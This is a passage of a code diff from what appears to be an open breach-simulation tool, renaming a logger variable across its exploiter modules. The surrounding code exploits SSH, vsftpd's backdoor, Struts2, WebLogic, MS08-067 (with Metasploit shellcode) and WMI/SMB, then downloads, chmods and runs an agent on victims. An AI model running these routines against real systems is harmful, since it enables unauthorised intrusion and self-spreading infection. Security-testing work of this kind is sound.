SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - LOG.info("SSH port is closed on %r, skipping", self.host) + logger.info("SSH port is closed on %r, skipping", self.host) return False try: @@ -119,7 +119,7 @@ class SSHExploiter(HostExploiter): try: ssh = self.exploit_with_login_creds(port) except FailedExploitationError: - LOG.debug("Exploiter SSHExploiter is giving up...") + logger.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get("type"): @@ -129,10 +129,10 @@ class SSHExploiter(HostExploiter): if "linux" in uname_os: self.host.os["type"] = "linux" else: - LOG.info("SSH Skipping unknown os: %s", uname_os) + logger.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: - LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) + logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False if not self.host.os.get("machine"): @@ -142,7 +142,9 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc) + logger.debug( + "Error running uname machine command on victim %r: (%s)", self.host, exc + ) if self.skip_exist: _, stdout, stderr = ssh.exec_command( @@ -151,7 +153,7 @@ class SSHExploiter(HostExploiter): stdout_res = stdout.read().strip() if stdout_res: # file exists - LOG.info( + logger.info( "Host %s was already infected under the current configuration, " "done" % self.host ) @@ -160,7 +162,7 @@ class SSHExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False try: @@ -183,7 +185,7 @@ class SSHExploiter(HostExploiter): ).send() ftp.close() except Exception as exc: - LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) + logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED T1105Telem( @@ -200,7 +202,7 @@ class SSHExploiter(HostExploiter): cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) - LOG.info( + logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, @@ -212,5 +214,5 @@ class SSHExploiter(HostExploiter): return True except Exception as exc: - LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) + logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index d798960bf..b029f211f 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -13,7 +13,7 @@ import urllib.request from infection_monkey.exploit.web_rce import WebRCE -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 @@ -53,7 +53,7 @@ class Struts2Exploiter(WebRCE): request, context=ssl._create_unverified_context() # noqa: DUO122 ).geturl() except urllib.error.URLError: - LOG.error("Can't reach struts2 server") + logger.error("Can't reach struts2 server") return False def exploit(self, url, cmd): diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index f7f6eadb8..c0f467bd4 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,6 +1,6 @@ import logging -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def try_get_target_monkey(host): @@ -60,7 +60,7 @@ def get_monkey_dest_path(url_to_monkey): from infection_monkey.config import WormConfiguration if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: if "linux" in url_to_monkey: @@ -70,13 +70,13 @@ def get_monkey_dest_path(url_to_monkey): elif "windows-64" in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: - LOG.error( + logger.error( "Could not figure out what type of monkey server was trying to upload, " "thus destination path can not be chosen." ) return False except AttributeError: - LOG.error( + logger.error( "Seems like monkey's source configuration property names changed. " "Can not get destination path to upload monkey" ) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 8d2aca2fc..9ef73090b 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -13,7 +13,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport import HTTPServer, LockedHTTPServer -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class HTTPTools(object): @@ -45,7 +45,7 @@ class HTTPTools(object): ) if not http_path: raise Exception("Http transfer creation failed.") - LOG.info("Started http server on %s", http_path) + logger.info("Started http server on %s", http_path) return http_path, http_thread @staticmethod @@ -68,7 +68,7 @@ class HTTPTools(object): local_ip = get_interface_to_target(host.ip_addr) if not firewall.listen_allowed(): - LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + logger.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 2d38b593c..da5913412 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -1,7 +1,7 @@ import logging import textwrap -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class Payload(object): diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index f7a8d8cb6..d9ca57108 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -13,7 +13,7 @@ from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class SmbTools(object): @@ -33,7 +33,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - LOG.debug( + logger.debug( "Connection to %r granted guest privileges with user: %s, password (SHA-512): " "'%s'," " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", @@ -54,7 +54,7 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) + logger.debug("Error requesting server info from %r over SMB: %s", host, exc) return None info = { @@ -66,12 +66,12 @@ class SmbTools(object): "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"], } - LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) + logger.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) + logger.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] @@ -87,14 +87,14 @@ class SmbTools(object): max_uses = resp[i]["shi2_max_uses"] if current_uses >= max_uses: - LOG.debug( + logger.debug( "Skipping share '%s' on victim %r because max uses is exceeded", share_name, host, ) continue elif not share_path: - LOG.debug( + logger.debug( "Skipping share '%s' on victim %r because share path is invalid", share_name, host, @@ -125,12 +125,12 @@ class SmbTools(object): try: smb.connectTree(share_name) except Exception as exc: - LOG.debug( + logger.debug( "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc ) continue - LOG.debug( + logger.debug( "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", share_name, share_path, @@ -146,10 +146,10 @@ class SmbTools(object): file_info = smb.listPath(share_name, remote_path) if file_info: if src_file_size == file_info[0].get_filesize(): - LOG.debug("Remote monkey file is same as source, skipping copy") + logger.debug("Remote monkey file is same as source, skipping copy") return remote_full_path - LOG.debug( + logger.debug( "Remote monkey file is found but different, moving along with " "attack" ) except Exception: @@ -165,7 +165,7 @@ class SmbTools(object): T1105Telem( ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path ).send() - LOG.info( + logger.info( "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, @@ -175,7 +175,7 @@ class SmbTools(object): break except Exception as exc: - LOG.debug( + logger.debug( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( @@ -194,7 +194,7 @@ class SmbTools(object): smb = None if not file_uploaded: - LOG.debug( + logger.debug( "Couldn't find a writable share for exploiting victim %r with " "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" "SHA-512): %s", @@ -213,12 +213,14 @@ class SmbTools(object): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) + logger.debug( + "SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc + ) try: smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139) except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) + logger.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None dialect = { @@ -231,7 +233,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - LOG.debug( + logger.debug( "Error while logging into %r using user: %s, password (SHA-512): '%s', " "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", host, diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 25b4a393a..078d37daa 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -5,7 +5,7 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class AccessDeniedException(Exception): @@ -119,7 +119,7 @@ class WmiTools(object): if where: wql_query += " WHERE %s" % (where,) - LOG.debug("Execution WQL query: %r", wql_query) + logger.debug("Execution WQL query: %r", wql_query) iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 62a215383..42c7c052f 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -23,7 +23,7 @@ from infection_monkey.model import ( from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = getLogger(__name__) +logger = getLogger(__name__) FTP_PORT = 21 # port at which vsftpd runs @@ -51,7 +51,7 @@ class VSFTPDExploiter(HostExploiter): s.connect((ip_addr, port)) return True except socket.error as e: - LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e)) + logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e)) return False def socket_send_recv(self, s, message): @@ -59,7 +59,7 @@ class VSFTPDExploiter(HostExploiter): s.send(message) return s.recv(RECV_128).decode("utf-8") except socket.error as e: - LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) + logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def socket_send(self, s, message): @@ -67,11 +67,11 @@ class VSFTPDExploiter(HostExploiter): s.send(message) return True except socket.error as e: - LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) + logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e)) return False def _exploit_host(self): - LOG.info("Attempting to trigger the Backdoor..") + logger.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): @@ -81,50 +81,50 @@ class VSFTPDExploiter(HostExploiter): time.sleep(FTP_TIME_BUFFER) self.socket_send(ftp_socket, PASSWORD + b"\n") ftp_socket.close() - LOG.info("Backdoor Enabled, Now we can run commands") + logger.info("Backdoor Enabled, Now we can run commands") else: - LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr) + logger.error("Failed to trigger backdoor on %s", self.host.ip_addr) return False - LOG.info("Attempting to connect to backdoor...") + logger.info("Attempting to connect to backdoor...") backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): - LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr) + logger.info("Connected to backdoor on %s:6200", self.host.ip_addr) uname_m = str.encode(UNAME_M + "\n") response = self.socket_send_recv(backdoor_socket, uname_m) if response: - LOG.info("Response for uname -m: %s", response) + logger.info("Response for uname -m: %s", response) if "" != response.lower().strip(): # command execution is successful self.host.os["machine"] = response.lower().strip() self.host.os["type"] = "linux" else: - LOG.info("Failed to execute command uname -m on victim %r ", self.host) + logger.info("Failed to execute command uname -m on victim %r ", self.host) src_path = get_target_monkey(self.host) - LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) + logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False # Create a http server to host the monkey http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux - LOG.info("Download link for monkey is %s", http_path) + logger.info("Download link for monkey is %s", http_path) # Upload the monkey to the machine monkey_path = dropper_target_path_linux download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path} download_command = str.encode(str(download_command) + "\n") - LOG.info("Download command is %s", download_command) + logger.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): - LOG.info("Monkey is now Downloaded ") + logger.info("Monkey is now Downloaded ") else: - LOG.error("Failed to download monkey at %s", self.host.ip_addr) + logger.error("Failed to download monkey at %s", self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) @@ -133,7 +133,7 @@ class VSFTPDExploiter(HostExploiter): # Change permissions change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} change_permission = str.encode(str(change_permission) + "\n") - LOG.info("change_permission command is %s", change_permission) + logger.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() @@ -154,7 +154,7 @@ class VSFTPDExploiter(HostExploiter): run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): - LOG.info( + logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 8c1ac96c7..a8ce60a40 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -27,7 +27,7 @@ from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" POWERSHELL_NOT_FOUND = "powershell is not recognized" @@ -114,7 +114,7 @@ class WebRCE(HostExploiter): and self.skip_exist and self.check_remote_files(self.target_url) ): - LOG.info( + logger.info( "Host %s was already infected under the current configuration, done" % self.host ) return True @@ -190,7 +190,7 @@ class WebRCE(HostExploiter): # Format command command = command % {"monkey_path": path, "http_path": http_path} except KeyError: - LOG.error( + logger.error( "Provided command is missing/bad for this type of host! " "Check upload_monkey function docs before using custom monkey's upload " "commands." @@ -213,7 +213,7 @@ class WebRCE(HostExploiter): else: return False except Exception as e: - LOG.error("Host's exploitability check failed due to: %s" % e) + logger.error("Host's exploitability check failed due to: %s" % e) return False def build_potential_urls(self, ports, extensions=None): @@ -241,7 +241,7 @@ class WebRCE(HostExploiter): join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) ) if not url_list: - LOG.info("No attack url's were built") + logger.info("No attack url's were built") return url_list def add_vulnerable_urls(self, urls, stop_checking=False): @@ -259,7 +259,7 @@ class WebRCE(HostExploiter): if stop_checking: break if not self.vulnerable_urls: - LOG.info("No vulnerable urls found, skipping.") + logger.info("No vulnerable urls found, skipping.") def get_host_arch(self, url): """ @@ -274,12 +274,12 @@ class WebRCE(HostExploiter): try: arch = arch.group(1) except AttributeError: - LOG.error("Looked for linux architecture but could not find it") + logger.error("Looked for linux architecture but could not find it") return False if arch: return arch else: - LOG.info("Could not pull machine architecture string from command's output") + logger.info("Could not pull machine architecture string from command's output") return False else: return False @@ -299,7 +299,7 @@ class WebRCE(HostExploiter): if "No such file" in resp: return False else: - LOG.info( + logger.info( "Host %s was already infected under the current configuration, done" % str(self.host) ) @@ -331,7 +331,7 @@ class WebRCE(HostExploiter): """ ports = self.get_open_service_ports(ports, names) if not ports: - LOG.info("All default web ports are closed on %r, skipping", str(self.host)) + logger.info("All default web ports are closed on %r, skipping", str(self.host)) return False else: return ports @@ -339,7 +339,7 @@ class WebRCE(HostExploiter): def set_host_arch(self, url): arch = self.get_host_arch(url) if not arch: - LOG.error("Couldn't get host machine's architecture") + logger.error("Couldn't get host machine's architecture") return False else: self.host.os["machine"] = arch @@ -356,7 +356,7 @@ class WebRCE(HostExploiter): :return: Command's response (same response if backup command is not needed) """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: - LOG.info("Powershell not found in host. Using bitsadmin to download.") + logger.info("Powershell not found in host. Using bitsadmin to download.") backup_command = BITSADMIN_CMDLINE_HTTP % { "monkey_path": dest_path, "http_path": http_path, @@ -373,9 +373,9 @@ class WebRCE(HostExploiter): Command must have "monkey_path" and "http_path" format parameters. :return: {'response': response/False, 'path': monkeys_path_in_host} """ - LOG.info("Trying to upload monkey to the host.") + logger.info("Trying to upload monkey to the host.") if not self.host.os["type"]: - LOG.error("Unknown target's os type. Skipping.") + logger.error("Unknown target's os type. Skipping.") return False paths = self.get_monkey_paths() if not paths: @@ -383,9 +383,9 @@ class WebRCE(HostExploiter): # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") + logger.debug("Exploiter failed, http transfer creation failed.") return False - LOG.info("Started http server on %s", http_path) + logger.info("Started http server on %s", http_path) # Choose command: if not commands: commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} @@ -396,7 +396,7 @@ class WebRCE(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - LOG.info("Uploading process finished") + logger.info("Uploading process finished") # If response is false exploiter failed if resp is False: return resp @@ -411,9 +411,9 @@ class WebRCE(HostExploiter): :param command: Formatted command for permission change or None :return: response, False if failed and True if permission change is not needed """ - LOG.info("Changing monkey's permissions") + logger.info("Changing monkey's permissions") if "windows" in self.host.os["type"]: - LOG.info("Permission change not required for windows") + logger.info("Permission change not required for windows") return True if not command: command = CHMOD_MONKEY % {"monkey_path": path} @@ -421,23 +421,23 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) T1222Telem(ScanStatus.USED, command, self.host).send() except Exception as e: - LOG.error("Something went wrong while trying to change permission: %s" % e) + logger.error("Something went wrong while trying to change permission: %s" % e) T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False if isinstance(resp, bool): - LOG.info("Permission change finished") + logger.info("Permission change finished") return resp # If exploiter returns command output, we can check for execution errors if "Operation not permitted" in resp: - LOG.error("Missing permissions to make monkey executable") + logger.error("Missing permissions to make monkey executable") return False elif "No such file or directory" in resp: - LOG.error( + logger.error( "Could not change permission because monkey was not found. Check path " "parameter." ) return False - LOG.info("Permission change finished") + logger.info("Permission change finished") return resp def execute_remote_monkey(self, url, path, dropper=False): @@ -448,7 +448,7 @@ class WebRCE(HostExploiter): :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed """ - LOG.info("Trying to execute remote monkey") + logger.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: # If dropper is chosen we try to move monkey to default location @@ -473,24 +473,24 @@ class WebRCE(HostExploiter): "parameters": monkey_cmd, } try: - LOG.info("Trying to execute monkey using command: {}".format(command)) + logger.info("Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) # If exploiter returns True / False if isinstance(resp, bool): - LOG.info("Execution attempt successfully finished") + logger.info("Execution attempt successfully finished") self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if "is not recognized" in resp or "command not found" in resp: - LOG.error("Wrong path chosen or other process already deleted monkey") + logger.error("Wrong path chosen or other process already deleted monkey") return False elif "The system cannot execute" in resp: - LOG.error("System could not execute monkey") + logger.error("System could not execute monkey") return False except Exception as e: - LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + logger.error("Something went wrong when trying to execute remote monkey: %s" % e) return False - LOG.info("Execution attempt finished") + logger.info("Execution attempt finished") self.add_executed_cmd(command) return resp @@ -503,7 +503,7 @@ class WebRCE(HostExploiter): :return: Corresponding monkey path from self.monkey_target_paths """ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - LOG.error( + logger.error( "Can't get destination path because source path %s is invalid.", url_to_monkey ) return False @@ -515,13 +515,13 @@ class WebRCE(HostExploiter): elif "windows-64" in url_to_monkey: return self.monkey_target_paths["win64"] else: - LOG.error( + logger.error( "Could not figure out what type of monkey server was trying to upload, " "thus destination path can not be chosen." ) return False except KeyError: - LOG.error( + logger.error( 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' "initialize " "custom dict of monkey's destination paths" @@ -535,7 +535,7 @@ class WebRCE(HostExploiter): """ src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False # Determine which destination path to use dest_path = self.get_monkey_upload_path(src_path) @@ -552,7 +552,7 @@ class WebRCE(HostExploiter): if not self.host.os.get("type") or ( self.host.os["type"] != "linux" and self.host.os["type"] != "windows" ): - LOG.error("Target's OS was either unidentified or not supported. Aborting") + logger.error("Target's OS was either unidentified or not supported. Aborting") return False if self.host.os["type"] == "linux": return self._config.dropper_target_path_linux @@ -561,7 +561,7 @@ class WebRCE(HostExploiter): if self.host.os["machine"] == WIN_ARCH_64: return self._config.dropper_target_path_win_64 except KeyError: - LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + logger.debug("Target's machine type was not set. Using win-32 dropper path.") return self._config.dropper_target_path_win_32 def get_target_url(self): diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 75aaa10df..d310833db 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -11,7 +11,7 @@ from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 # How long should we wait after each request in seconds @@ -85,7 +85,7 @@ class WebLogic201710271(WebRCE): url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False ) except Exception as e: - LOG.error("Connection error: %s" % e) + logger.error("Connection error: %s" % e) return False return True @@ -112,7 +112,7 @@ class WebLogic201710271(WebRCE): self.vulnerable_urls.extend(urls) self.exploit_info["vulnerable_urls"] = self.vulnerable_urls else: - LOG.info("No vulnerable urls found, skipping.") + logger.info("No vulnerable urls found, skipping.") self._stop_http_server(httpd, lock) @@ -126,7 +126,7 @@ class WebLogic201710271(WebRCE): # Our request will not get response thus we get ReadTimeout error pass except Exception as e: - LOG.error("Something went wrong: %s" % e) + logger.error("Something went wrong: %s" % e) return httpd.get_requests > 0 def _start_http_server(self): @@ -234,10 +234,10 @@ class WebLogic201710271(WebRCE): class S(BaseHTTPRequestHandler): @staticmethod def do_GET(): - LOG.info("Server received a request from vulnerable machine") + logger.info("Server received a request from vulnerable machine") self.get_requests += 1 - LOG.info("Server waiting for exploited machine request...") + logger.info("Server waiting for exploited machine request...") httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() @@ -286,7 +286,7 @@ class WebLogic20192725(WebRCE): resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) return resp except Exception as e: - LOG.error("Connection error: %s" % e) + logger.error("Connection error: %s" % e) return False def check_if_exploitable(self, url): diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 1e92eadf5..cff31e083 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -24,7 +24,7 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.random_password_generator import get_random_password -LOG = getLogger(__name__) +logger = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 OBFUSCATED_SHELLCODE = ( @@ -140,11 +140,11 @@ class SRVSVC_Exploit(object): target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target - LOG.debug("Initiating exploit connection (%s)", target_rpc_name) + logger.debug("Initiating exploit connection (%s)", target_rpc_name) self._trans = transport.DCERPCTransportFactory(target_rpc_name) self._trans.connect() - LOG.debug("Connected to %s", target_rpc_name) + logger.debug("Connected to %s", target_rpc_name) self._dce = self._trans.DCERPC_class(self._trans) self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0"))) @@ -152,8 +152,8 @@ class SRVSVC_Exploit(object): dce_packet = self._build_dce_packet() self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation - LOG.debug("Exploit sent to %s successfully...", self._target) - LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) + logger.debug("Exploit sent to %s successfully...", self._target) + logger.debug("Target machine should be listening over port %d now", self.get_telnet_port()) sock = socket.socket() sock.connect((self._target, self.get_telnet_port())) @@ -220,7 +220,7 @@ class Ms08_067_Exploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False os_version = self._windows_versions.get( @@ -246,15 +246,15 @@ class Ms08_067_Exploiter(HostExploiter): time.sleep(2) sock.recv(1000) - LOG.debug("Exploited into %r using MS08-067", self.host) + logger.debug("Exploited into %r using MS08-067", self.host) exploited = True break except Exception as exc: - LOG.debug("Error exploiting victim %r: (%s)", self.host, exc) + logger.debug("Error exploiting victim %r: (%s)", self.host, exc) continue if not exploited: - LOG.debug("Exploiter MS08-067 is giving up...") + logger.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB @@ -303,7 +303,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send(("start %s\r\n" % (cmdline,)).encode()) sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode()) except Exception as exc: - LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) + logger.debug( + "Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc + ) return True finally: try: @@ -311,7 +313,7 @@ class Ms08_067_Exploiter(HostExploiter): except socket.error: pass - LOG.info( + logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index c89b2d5ea..5af6606c4 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -13,7 +13,7 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class WmiExploiter(HostExploiter): @@ -30,7 +30,7 @@ class WmiExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() @@ -43,7 +43,9 @@ class WmiExploiter(HostExploiter): "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) ) - LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) + logger.debug( + ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging + ) wmi_connection = WmiTools.WmiConnection() @@ -51,23 +53,23 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug( + logger.debug( ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug( + logger.debug( ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except socket.error: - LOG.debug( + logger.debug( ("Network error in WMI connection to %r with " % self.host) + creds_for_logging ) return False except Exception as exc: - LOG.debug( + logger.debug( ("Unknown WMI connection error to %r with 